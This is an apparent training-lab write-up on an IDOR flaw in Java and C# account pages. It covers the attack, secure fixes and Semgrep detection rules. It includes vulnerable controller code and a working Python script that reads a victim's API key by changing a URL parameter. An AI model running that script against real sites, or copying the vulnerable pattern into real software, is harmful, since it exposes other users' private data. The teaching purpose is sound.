Lab 07: User ID controlled by request parameter
1. Executive Summary
Vulnerability: Insecure Direct Object Reference (IDOR).
Description: The application exposes a direct reference to an internal database object (the User ID) in the URL. When fetching user data, the backend uses this ID to query the database but fails to verify if the currently logged-in user is authorized to view that specific ID.
Impact: Horizontal Privilege Escalation. A user can view the private data (PII, API keys) of any other user simply by putting target username as ar request parameter.
2. The Attack
Objective: Steal the API key of the user carlos.
- Reconnaissance: I logged in with my credentials (
wiener/peter) and clicked on the “My Account” page. - Observation: I noticed the URL pattern:
/my-account?id=wiener. The application is explicitly asking “Which user’s data should I show?” via theidquery parameter. - Exploitation: I captured the request in Burp Repeater. I changed the parameter from
id=wienertoid=carlos. - Result: The server returned the account page for
carloswithout any error. - Loot: I located the API key in the response body (
Your API Key is: ...) and submitted it to solve the lab.
3. Code Review
Vulnerability Analysis (Explanation): The code below uses a Data Access Object (DAO) or Repository pattern. The Controller accepts an id string from the user and passes it straight to the database.
- The Flaw: The code assumes that because the user is logged in (Authenticated), they are allowed to see any data they ask for. It forgets Authorization (Ownership check).
- The Reality: The server is acting like a dumb file retrieval system: “You want file ‘carlos’? Here is file ‘carlos’.” It never asks, “Are you arguably ‘carlos’?”
Java (Spring Boot)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Controller
public class AccountController {
@Autowired
private UserRepository userRepository;
// VULNERABLE: The method takes 'id' from the URL parameters.
@GetMapping("/my-account")
public String getAccountPage(@RequestParam("id") String userId, Model model) {
// The application trusts the input 'userId' implicitly.
User user = userRepository.findByUsername(userId);
model.addAttribute("user", user);
return "account_page";
}
}
Technical Flow & Syntax Explanation:
@RequestParam("id") String userId: This annotation tells Spring to look at the URL query string (e.g.,?id=carlos), extract the valuecarlos, and assign it to the Java variableuserId.userRepository.findByUsername(userId): This is the critical moment. The controller takes that user-supplied string and hands it directly to the database layer. The query becomesSELECT * FROM users WHERE username = 'carlos'.- Missing Check: Nowhere in this function does the code ask the Security Context (the session): “Who is currently logged in?” It acts purely on the user’s input.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
[Authorize] // Ensures the user is logged in, but not WHICH user.
public class AccountController : Controller
{
// VULNERABLE: The action accepts the 'id' parameter from the Query String.
[HttpGet("my-account")]
public IActionResult GetAccount(string id)
{
// The 'id' variable is populated automatically by Model Binding.
var userProfile = _userService.GetProfile(id);
return View(userProfile);
}
}
Technical Flow & Syntax Explanation:
[Authorize]: This attribute acts as a bouncer. It checks “Is this user logged in?” If yes, it lets them in. It does not check “Is this user allowed to see data forcarlos?”public IActionResult GetAccount(string id): ASP.NET Core’s “Model Binder” sees the parameter nameidand automatically looks for?id=...in the URL to populate it._userService.GetProfile(id): The code blindly passes the requested ID to the service layer. If I requestid=carlos, the service fetches Carlos. The controller then renders the View with that data.
Mock PR Comment
The getAccountPage method accepts a userId parameter directly from the client request and uses it to retrieve user details. This allows any authenticated user to view the profile of any other user by changing the parameter.
Recommendation: Do not accept the User ID from the client for endpoints that show the “current user’s” data. Instead, retrieve the User ID securely from the server-side session (e.g., Principal or User.Identity).
4. The Fix
Explanation of the Fix: To fix IDOR, we stop trusting the client to tell us “who they are.” We already know who they are—we stored that information in the Session or JWT when they logged in. We ignore the URL parameter entirely and fetch the ID from the Security Context.
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@GetMapping("/my-account")
// We inject the 'Principal', which holds the secure session info.
public String getAccountPage(Principal principal, Model model) {
// SECURE: We ignore any '?id=' parameter.
// We ask the Principal: "Who is logged in right now?"
String loggedInUsername = principal.getName();
// We use THAT username to query the database.
User user = userRepository.findByUsername(loggedInUsername);
model.addAttribute("user", user);
return "account_page";
}
Technical Flow & Syntax Explanation:
Principal principal: We add this argument to the method signature. Spring Security automatically injects the currently authenticated user’s security context into this object. This data comes from the server-side session, so it cannot be spoofed by the client.principal.getName(): This method retrieves the username (or ID) stored in the secure session.- Parameter Removal: Notice there is no
@RequestParam("id")anymore. Even if the attacker sends?id=carlos, the application ignores it and only queries the database for the user found inprincipal.getName().
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
[Authorize]
[HttpGet("my-account")]
public IActionResult GetAccount()
{
// SECURE: Retrieve the ID from the ClaimsPrincipal (User property).
// This data comes from the encrypted Auth Cookie/Token.
var currentUserId = User.FindFirst(ClaimTypes.NameIdentifier)?.Value;
var userProfile = _userService.GetProfile(currentUserId);
return View(userProfile);
}
Technical Flow & Syntax Explanation:
User(ClaimsPrincipal): In ASP.NET Core controllers, theUserproperty provides access to the current user’s claims (identity data). This data is populated from the encrypted authentication cookie or JWT token.FindFirst(ClaimTypes.NameIdentifier): We programmatically extract the unique ID (Subject) from the user’s claims. This ensures we are getting the ID of the person holding the valid session key.- Ignoring Input: The method
GetAccount()no longer takes any arguments. The ID is derived internally, making the?id=carlosattack impossible because the application never reads the URL parameter.
5. Automation
A Python script that logs in and attempts to access the data of a victim user (carlos) to prove IDOR exists.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
import argparse
import re
import requests
def exploit_idor(url, session_cookie, victim_username):
target_path = "/my-account"
params = {"id": victim_username}
cookies = {"session": session_cookie}
resp = requests.get(f"{url.rstrip('/')}{target_path}", params=params, cookies=cookies, allow_redirects=True, timeout=10)
print(f"[*] Final URL: {resp.url} | Status: {resp.status_code}")
m = re.search(r"Your API Key is:\s*([A-Za-z0-9]+)", resp.text)
if m:
print(f"[+] API KEY FOUND for {victim_username}: {m.group(1)}")
else:
print("[-] API key not found. (Likely not authenticated / got a different page.)")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Base URL, e.g. https://target.net")
ap.add_argument("session", help="session cookie value (from your browser)")
ap.add_argument("victim", help="victim id/username, e.g. carlos")
args = ap.parse_args()
exploit_idor(args.url, args.session, args.victim)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Rules to detect Controllers that take an ID as a parameter and use it in a Repository call, which is a strong heuristic for potential IDOR.
The Logic We want to flag code where:
- A method is an endpoint (Controller).
- It takes an argument (like
idoruserId). - It uses that exact same argument to call a “Find” or “Get” method in a repository/service.
- It does NOT compare that argument to the current session user.
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
rules:
- id: java-potential-idor
languages: [java]
message: |
Potential IDOR detected. The controller takes a parameter '$ID'
and uses it directly in a database lookup '$REPO.find...($ID)'.
Ensure you verify that the logged-in user owns this record.
severity: WARNING
patterns:
- pattern-inside: |
@$CONTROLLER
class $CLASS { ... }
- pattern: |
public $RET $METHOD(..., $TYPE $ID, ...) {
...
$REPO.$FIND(..., $ID, ...);
...
}
- metavariable-regex:
metavariable: $FIND
regex: ^(find|get|load).*
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rules:
- id: csharp-potential-idor
languages: [csharp]
message: "Potential IDOR: Controller action uses input parameter directly in lookup service."
severity: WARNING
patterns:
- pattern-inside: |
public class $CONTROLLER : Controller { ... }
- pattern: |
public IActionResult $METHOD(..., $TYPE $ID, ...) {
...
$SERVICE.$LOOKUP($ID);
...
}
- metavariable-regex:
metavariable: $LOOKUP
regex: ^(Get|Find|Retrieve).*
